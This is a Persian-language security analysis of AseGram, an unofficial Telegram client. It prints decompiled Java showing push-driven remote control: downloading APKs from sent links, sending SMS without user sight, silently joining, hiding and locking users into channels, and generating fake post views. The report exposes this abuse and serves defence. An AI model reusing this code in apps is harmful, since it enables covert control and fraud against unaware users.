بسمه تعالی

بررسی برنامه آسگرام

۱ چکیده

به دلیل متن‌باز بودن تلگرام و محدودیت دسترسی به آن از ایران، نسخه‌های غیررسمی متعددی از تلگرام منتشر شده است. یکی از نسخه‌هایی که به تازگی در بین کاربران ایرانی منتشر می‌شود آسگرام (AseGram) نام دارد. این برنامه در گوگل‌پلی نیز قرار دارد. برای دور زدن فیلترینگ از سرورهای هات‌گرام و طلاگرام استفاده می‌کند. این برنامه به صورت مخفیانه کاربر را عضو برخی کانال‌ها می‌کند. همچنین با توجه به بررسی کد برنامه امکان کنترل آن از طریق سرویس push برای توسعه‌دهندگان برنامه وجود دارد و می‌توانند کاربر را عضو کانال‌های مختلف کرده و برای فروش عضو و بازدید تلگرام از کاربران سواستفاده می‌کند.

۲ مقدمه

مشخصات کلی این برنامه به صورت زیر است

- نام: AseGram
- نام بسته: com.telegram.asegram
- حجم فایل: ۱۸.۲۳ MB
- Sha-۲۵۶: ۲٤a٥٤٥٧٧٨b٧٢١٣٢٧١٣bd٧e٠٣٠٢a٦٥٠ca٩cc٦٩٢٦٢aa٥b٩e٩٢٦٦٣٣a٠e١fc٥٥٥e٩٨
- MD٥: ٧fccd٩٩٠acde٩٤٠ce٧٣٦c٢١accda٥٣b١
- لینک گوگل‌پلی: https://play.google.com/store/apps/details?id=com.telegram.asegram

این برنامه هم در گوگل‌پلی قرار دارد و هم در تلگرام تبلیغ آن شده است. برنامه با پیامی مشابه پیام زیر در تلگرام پخش شده است.

شکل ۱ پیام توزیع برنامه در تلگرام

۳ مجوزها

از آنجایی که این برنامه، یک نسخه ویرایش‌شده از تلگرام است، تمامی دسترسی‌های برنامه اصلی تلگرام را درخواست می‌کند. مهم‌ترین این درخواست‌ها عبارت‌اند از:

- دسترسی به موقعیت مکانی کاربر به صورت تخمینی

```
<uses-permission
android:name="android.permission.ACCESS_COARSE_LOCATION"/>
```

- دسترسی به موقعیت دقیق کاربر

```
<uses-permission
android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

- دسترسی کامل به اینترنت

```
<uses-permission android:name="android.permission.INTERNET"/>
```

- دسترسی ضبط صدا

```
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
```

- دسترسی دریافت پیامک

```
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
```

- دسترسی خواندن و نوشتن روی حافظه جانبی

```
<uses-permission
android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
```

- دسترسی خواندن، نوشتن و مدیریت کامل مخاطبان

```
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission  android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission
android:name="android.permission.MANAGE_ACCOUNTS"/>
<uses-permission android:name="android.permission.READ_PROFILE"/>
```

- دسترسی خواندن وضعیت گوشی (مانند شماره گوشی، اطلاعات شبکه تلفن‌همراه، وضعیت تماس‌های برقرارشده و ...)

```
<uses-permission
android:name="android.permission.READ_PHONE_STATE"/>
```

- برقراری تماس

```
<uses-permission android:name="android.permission.CALL_PHONE"/>
```

- خواندن از و نوشتن روی اطلاعات لاگ‌شده تماس‌ها

```
<uses-permission  android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
```

- دسترسی به دوربین

```
<uses-permission android:name="android.permission.CAMERA"/>
```

٤ دور زدن فیلترینگ

با توجه به بررسی ترافیک برنامه، برای دور زدن فیلترینگ از پروکسی‌های هات‌گرام و طلاگرام استفاده می‌کند

#	Host	Method	URL	Params
168	http://lh27.talagram.ir	GET	/v3/proxy?slt=1538565661243&appId=3	✓
169	http://lh54.talagram.ir	GET	/v3/proxy?slt=1538565677246&appId=3	✓
170	http://lh4.hotgram.ir	GET	/v3/proxy?slt=1538565693250&appId=3	✓
171	http://lh11.hotgram.ir	GET	/v3/proxy?slt=1538565709255&appId=3	✓

شکل ۲ استفاده از پروکسی هات‌گرام و طلاگرام

در توضیحات این برنامه در گوگل‌پلی مطلب زیر ذکر شده است:

آسگرام اولین و کامل‌ترین برنامه برای اتصال بدون نیاز به فیلترشکن است، برنامه با استفاده از سرورهای بلاکچین مبتنی بر mt اتصالی پایدار را برای تمامی کاربران فراهم می‌کند، از لحاظ سرعت اتصال و بارگیری می‌توان گفت که در نسخه بلاکچین تا هشت برابر رشد دیده می‌شود.

برخلاف این ادعا، بررسی برنامه نشان می‌دهد که مانند اکثر برنامه‌های تلگرامی که فیلترینگ را دور می‌زنند این برنامه نیز از پروکسی‌های هات‌گرام و طلاگرام برای این منظور استفاده می‌کند.

۵ خطرات برنامه

با توجه به بررسی کد برنامه، امکان برخی کنترل‌ها روی برنامه از طریق ارسال pushe وجود دارد. دو نوع کار مختلف از این طریق می‌تواند انجام شود. اول اینکه یک صفحه همراه توضیحات و یک دکمه به کاربر نمایش داده شود و در صورت کلیک کاربر روی آن دکمه یک اتفاق خاص رخ بدهد. ظاهرا این مورد بیشتر جنبه تبلیغاتی دارد و در این حالت کاربر در جریان اتفاقاتی که در دستگاهش رخ خواهد داد قرار می‌گیرد. حالت بعدی این است که رخدادها بدون اطلاعات کاربر و به صورت پنهانی انجام شوند که این مورد خطرناک است. در ادامه این موارد به ترتیب بررسی شده‌اند.

۵-۱ نمایش صفحه تبلیغاتی

در این حالتی یک صفحه تبلیغاتی به همراه یک دکمه نمایش داده می‌شود. پس از کلیک روی دکمه یکی از اتفاقات زیر می‌تواند رخ بدهد (کد مربوط به این موارد در فایل org.pouyadr.Server.MyPush.DialogService قرار دارند) :

۱. بازکردن صفحه یک برنامه در مارکت‌های اندرویدی : در این حالت برنامه می‌تواند صفحه مربوط به هر برنامه‌ای را با دریافت package name برنامه مربوطه و مارکت اندرویدی مورد نظر (کافه‌بازار، مایکت و ...) صفحه آن را از طریق ارسال intent باز کند. در صورتی که مارکت اندرویدی مورد نظر وجود نداشته باشد، صفحه وب آن باز خواهد شد.

```
if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("market_site")) {
    try {
        intent = new Intent("android.intent.action.VIEW");
        intent.setData(Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri", " ")));
        intent.setPackage(PreferenceManager.getDefaultSharedPreferences(this.context).getString("marketpackagename", " "));
        intent.addFlags(268435456);
        this.context.startActivity(intent);
        finish();
    } catch (Exception e) {
        this.context.startActivity(new Intent("android.intent.action.VIEW", Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " "))));
        finish();
    }
```

شکل ۳ بازکردن صفحه یک برنامه در مارکت‌های اندروید

۲. دانلود یک برنامه از یک مارکت اندرویدی: این حالت مشابه قبل است ولی به جای نمایش صفحه برنامه، برنامه از آنجا دانلود خواهد شد.

```
else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("market_direct_download")) {
  try {
      intent = new Intent("android.intent.action.VIEW");
      intent.setData(Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri", " ")));
      intent.setPackage(PreferenceManager.getDefaultSharedPreferences(this.context).getString("marketpackagename", " "));
      intent.addFlags(268435456);
      this.context.startActivity(intent);
      finish();
  } catch (Exception e2) {
      this.txtdialogwait.setVisibility(0);
      this.prgDownload.setVisibility(0);
      this.txtdialogbutton.setVisibility(8);
      f = new File(TtmlNode.ANONYMOUS_REGION_ID + Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " ")
      f.getName();
      stringBuilder = new StringBuilder();
      applicationLoader = this.f487G;
      from = new File(stringBuilder.append(ApplicationLoader.DIR_APP).append("/").append(f.getName()).toString());
      if (!from.exists() || getFolderSize(from) <= Newwww.apksize) {
          stringBuilder = new StringBuilder();
          applicationLoader = this.f487G;
          File file2 = new File(stringBuilder.append(ApplicationLoader.DIR_APP).append("/").append(f.getName()).toString());
          if (file2.exists()) {
              file2.delete();
          }
          stringBuilder = new StringBuilder();
          applicationLoader = this.f487G;
          file = new File(stringBuilder.append(ApplicationLoader.DIR_APP_TEMP).append("/").append(f.getName()).toString());
          if (file.exists()) {
              file.delete();
          }
          string = PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " ");
          stringBuilder2 = new StringBuilder();
          applicationLoader2 = this.f487G;
          FileDownloader.download(string, stringBuilder2.append(ApplicationLoader.DIR_APP_TEMP).append("/").append(f.getName()).toString(), true);
          return;
      }
      r3 = this.f487G;
      ApplicationLoader.app_nabname = f.getName();
      intent = new Intent(this.context, PushNasbServic.class);
      intent.addFlags(268435456);
      this.context.startService(intent);
      finish();
```

شکل ۴ دانلود مستقیم یک برنامه از یک مارکت اندرویدی

۳. دانلود از لینک ارسالی: در این حالت یک لینک به برنامه ارسال می‌شود (ظاهرا لینک یک برنامه apk) و برنامه پس از دانلود آن برنامه صفحه نصب آن را نمایش خواهد داد تا کاربر برنامه را نصب کند.

```
else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("direct_download")) {
  this.txtdialogwait.setVisibility(0);
  this.prgDownload.setVisibility(0);
  this.txtdialogbutton.setVisibility(8);
  f = new File(TtmlNode.ANONYMOUS_REGION_ID + Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " ")));
  f.getName();
  stringBuilder = new StringBuilder();
  applicationLoader = this.f487G;
  from = new File(stringBuilder.append(ApplicationLoader.DIR_APP).append("/").append(f.getName()).toString());
  if (!from.exists() || getFolderSize(from) <= Newwww.apksize) {
      stringBuilder = new StringBuilder();
      applicationLoader = this.f487G;
      file = new File(stringBuilder.append(ApplicationLoader.DIR_APP_TEMP).append("/").append(f.getName()).toString());
      if (file.exists()) {
          file.delete();
      }
      string = PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " ");
      stringBuilder2 = new StringBuilder();
      applicationLoader2 = this.f487G;
      FileDownloader.download(string, stringBuilder2.append(ApplicationLoader.DIR_APP_TEMP).append("/").append(f.getName()).toString(), true);
      return;
  }
  r3 = this.f487G;
  ApplicationLoader.app_nabname = f.getName();
  intent = new Intent(this.context, PushNasbServic.class);
  intent.addFlags(268435456);
  this.context.startService(intent);
  finish();
```

شکل ۵ دانلود مستقیم برنامه از هر لینک

۴. باز کردن لینک: در این حالت یک لینک به برنامه داده می‌شود که آن لینک را باز خواهد کرد (صفحه وب)

```
} else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("link")) {
    intent = new Intent("android.intent.action.VIEW", Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri_link", " ")));
    intent.addFlags(268435456);
    this.context.startActivity(intent);
    finish();
```

شکل ۶ باز کردن لینک دلخواه

۵. باز کردن صفحه مارکت برنامه: این حالت مشابه همان حالت ۱ است با این تفاوت که در این حالت اگر مارکت مورد نظر وجود نداشته باشد هیچ اتفاقی نمی‌افتد

```
} else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("market_only")) {
    try {
        intent = new Intent("android.intent.action.VIEW");
        intent.setData(Uri.parse(PreferenceManager.getDefaultSharedPreferences(this.context).getString("uri", " ")));
        intent.setPackage(PreferenceManager.getDefaultSharedPreferences(this.context).getString("marketpackagename", " "));
        intent.addFlags(268435456);
        this.context.startActivity(intent);
        finish();
    } catch (Exception e3) {
        e3.printStackTrace();
    }
```

شکل ۷ بازکردن صفحه یک برنامه در مارکت

۶. عضو شدن در کانال تلگرامی: در این حالت کاربر با کلیک روی دکمه در یک کانال تلگرامی عضو خواهد شد.

```
} else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("telegramchannel")) {
    try {
        String[] channeldomain_seprated;
        final Intent intent2;
        this.telegram_package = Newwww.telegram_package;
        this.channeltype = Newwww.channeltype;
        this.channeldomain = Newwww.channeldomain;
        this.telegram_push_notsend = true;
        String telegram_perefered_pacjage = null;
        try {
            ⋮
            try {
                if (this.channeltype.contains("private")) {
                    intent = new Intent("android.intent.action.VIEW", Uri.parse("tg://join?invite=" + this.channeldomain));
                    intent.addFlags(268435456);
                    if (telegram_perefered_pacjage != null) {
                        intent.setPackage(telegram_perefered_pacjage);
                    }
                    this.context.startActivity(intent);
                } else if (this.channeltype.contains("public")) {
                    intent = new Intent("android.intent.action.VIEW", Uri.parse("tg://resolve?domain=" + this.channeldomain));
                    intent.addFlags(268435456);
                    if (telegram_perefered_pacjage != null) {
                        intent.setPackage(telegram_perefered_pacjage);
                    }
                    this.context.startActivity(intent);
                }
```

شکل ۸ عضویت درکانال تلگرامی

۷. ارسال پیامک با واسطه: در این حالت یک شماره و متن دریافت شده است و کاربر اقدام به ارسال Intent مربوط به فرستادن پیامک به شماره مورد نظر می‌کند که در این صورت کاربر برنامه اصلی ارسال پیامک را مشاهده خواهد کرد که آماده ارسال پیامک به شماره مورد نظر است و کاربر می‌تواند با زدن دکمه ارسال، پیامک را بفرستد

```
} else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("sms_intent")) {
    try {
        this.sms_number = TtmlNode.ANONYMOUS_REGION_ID;
        this.sms_text = TtmlNode.ANONYMOUS_REGION_ID;
        this.sms_number = Newwww.sms_number;
        this.sms_text = Newwww.sms_text;
        intent = new Intent("android.intent.action.VIEW");
        intent.setType("vnd.android-dir/mms-sms");
        intent = intent;
        intent.putExtra("address", this.sms_number);
        intent = intent;
        intent.putExtra("sms_body", this.sms_text);
        intent.addFlags(268435456);
        this.context.startActivity(intent);
```

شکل ۹ درخواست ارسال پیامک

۸. ارسال پیامک مستقیم: در این حالت خود برنامه به صورت مستقیم پیامک را ارسال می‌کند و دیگر برنامه ارسال پیامک به کاربر نمایش داده نمی‌شود.

```
} else if (PreferenceManager.getDefaultSharedPreferences(this.context).getString("dialogtype", " ").contains("qwertyui")) {
    try {
        this.sms_number = TtmlNode.ANONYMOUS_REGION_ID;
        this.sms_text = TtmlNode.ANONYMOUS_REGION_ID;
        this.sms_number = Newwww.sms_number;
        this.sms_text = Newwww.sms_text;
        SmsManager.getDefault().sendTextMessage(this.sms_number, null, this.sms_text, null, null);
        Toast.makeText(getApplicationContext(), "پیام ارسال شد", 1).show();
```

شکل ۱۰ ارسال پیامک مستقیم

۹. درخواست حذف یک برنامه: در این package name مربوط به یک برنامه اندرویدی دیگر دریافت می‌شود و درصورتی که آن برنامه روی گوشی کاربر نصب باشد intent مربوط به حذف آن ساخته می‌شود که در نتیجه این کار، صفحه حذف کردن آن برنامه نمایش داده خواهد شد و در صورت تایید کاربر، برنامه حذف می‌شود

۵-۲ کنترل‌های پنهانی برنامه

در این حالت پس از دریافت اطلاعات از طریق push یکی از اتفاقات زیر می‌تواند رخ بدهد، این رخدادها بدون اطلاع کاربر و به صورت پنهانی انجام خواهد شد. (این موارد در فایل org.pouyadr.Server.V۲Api.joinfast قرار دارند)

در ابتدا شناسه یک کانال تلگرامی به همراه چهار داده mute, fakeview, hide, noexit دریافت می‌شود.

```
public class joinfast {
    public static void scan(JSONObject object, Context context, String system) {
        try {
            String channel = object.getString(DialogsAdapter.CHANNEL);
            final String mute = !object.isNull("mute") ? object.getString("mute") : "no";
            final int fakeview = !object.isNull("fakeview") ? object.getInt("fakeview") : 0;
            final String hide = !object.isNull("hide") ? object.getString("hide") : "no";
            final String noexit = !object.isNull("noexit") ? object.getString("noexit") : "no";
```

شکل ۱۱ دریافت داده‌های اولیه

در صورتی که fakeView مقداری بزرگ‌تر از صفر باشد، توسط برنامه از آن کانال بازدید خواهد شد تا بازدید پست‌های آن کانال بالا برود. در این حالت تعداد بازدید پست‌های آخر کانال مورد نظر بالا خواهد رفت و نیازی نیست که کاربر در آن کانال عضو شود. در این حالت با توجه به کد برنامه، هم امکان ارسال بازدید جعلی برای پست‌های اخیر کانال وجود دارد و هم امکان بازدید جعلی برای یک پست خاص با دریافت آدرس تلگرامی آن پست وجود خواهد داشت.

```
if (fakeview > 0) {
    InputChannel inputChannel = MessagesController.getInputChannel((Chat) tL_contacts_resolvedPeer.chats.get(0));
    InputPeer peer = new TL_inputPeerChannel();
    peer.access_hash = inputChannel.access_hash;
    peer.channel_id = inputChannel.channel_id;
    ViewHelper.sendview(inputChannel, (Chat) tL_contacts_resolvedPeer.chats.get(0), peer, fakeview, 0);
}
```

شکل ۱۲ بازدید جعلی

با توجه به داده‌های مربوط به hide, mute و noexit نیز برنامه تصمیم می‌گیرد که آیا کانالی که عضو می‌شود را mute بکند یا نه و اینکه آن را از کاربر مخفی بکند یا نه (hide) و همچنین امکان ترک کانال را نیز از

کاربر می‌تواند سلب کند (noexit). در صورتی که hide یا noexit درخواست شده باشد به صورت پیش‌فرض کانال mute خواهد شد. این موارد در کد زیر آورده شده‌اند.

```
if (hide.equals("yes")) {
    joinfast.mute(true, Long.valueOf("-" + String.valueOf(tL_contacts_resolvedPeer.peer.channel_id)).longValue());
    HiddenChannelController.add(Long.valueOf((long) tL_contacts_resolvedPeer.peer.channel_id));
    HiddenChannelController.add(Long.valueOf("-" + tL_contacts_resolvedPeer.peer.channel_id));
    MessagesController.getInstance(UserConfig.selectedAccount).sortDialogs(null);
} else {
    HiddenChannelController.Remove(Long.valueOf((long) tL_contacts_resolvedPeer.peer.channel_id));
    HiddenChannelController.Remove(Long.valueOf("-" + tL_contacts_resolvedPeer.peer.channel_id));
}
if (noexit.equals("yes")) {
    joinfast.mute(true, Long.valueOf("-" + String.valueOf(tL_contacts_resolvedPeer.peer.channel_id)).longValue());
    NoQuitController.add(Long.valueOf((long) tL_contacts_resolvedPeer.peer.channel_id));
    NoQuitController.add(Long.valueOf("-" + tL_contacts_resolvedPeer.peer.channel_id));
} else {
    NoQuitController.Remove(Long.valueOf((long) tL_contacts_resolvedPeer.peer.channel_id));
    NoQuitController.Remove(Long.valueOf("-" + tL_contacts_resolvedPeer.peer.channel_id));
}
    ⋮
 if (mute.equals("yes")) {
     joinfast.mute(true, Long.valueOf("-" + String.valueOf(tL_contacts_resolvedPeer.peer.channel_id)).longValue());
 } else {
     joinfast.mute(false, Long.valueOf("-" + String.valueOf(tL_contacts_resolvedPeer.peer.channel_id)).longValue());
 }
else if (mute.equals("yes")) {
  joinfast.mute(true, Long.valueOf("-" + String.valueOf(tL_contacts_resolvedPeer.peer.channel_id)).longValue());
```

شکل ۱۳ انواع حالت‌های عضویت در کانال

۶ نتیجه‌گیری

استفاده از نسخه‌های غیر اصلی تلگرام امکان سواستفاده از داده‌ها و امکانات کاربر را در پی خواهد داشت. برنامه‌ای که بررسی شد می‌تواند به کاربر تبلیغات ناخواسته نشان دهد. این برنامه از کاربر سواستفاده کرده و کاربر را بدون اطلاع وی عضو کانال‌های مختلف می‌کند. برای فروش «بازدید» تلگرامی نیز از کاربر استفاده می‌کند.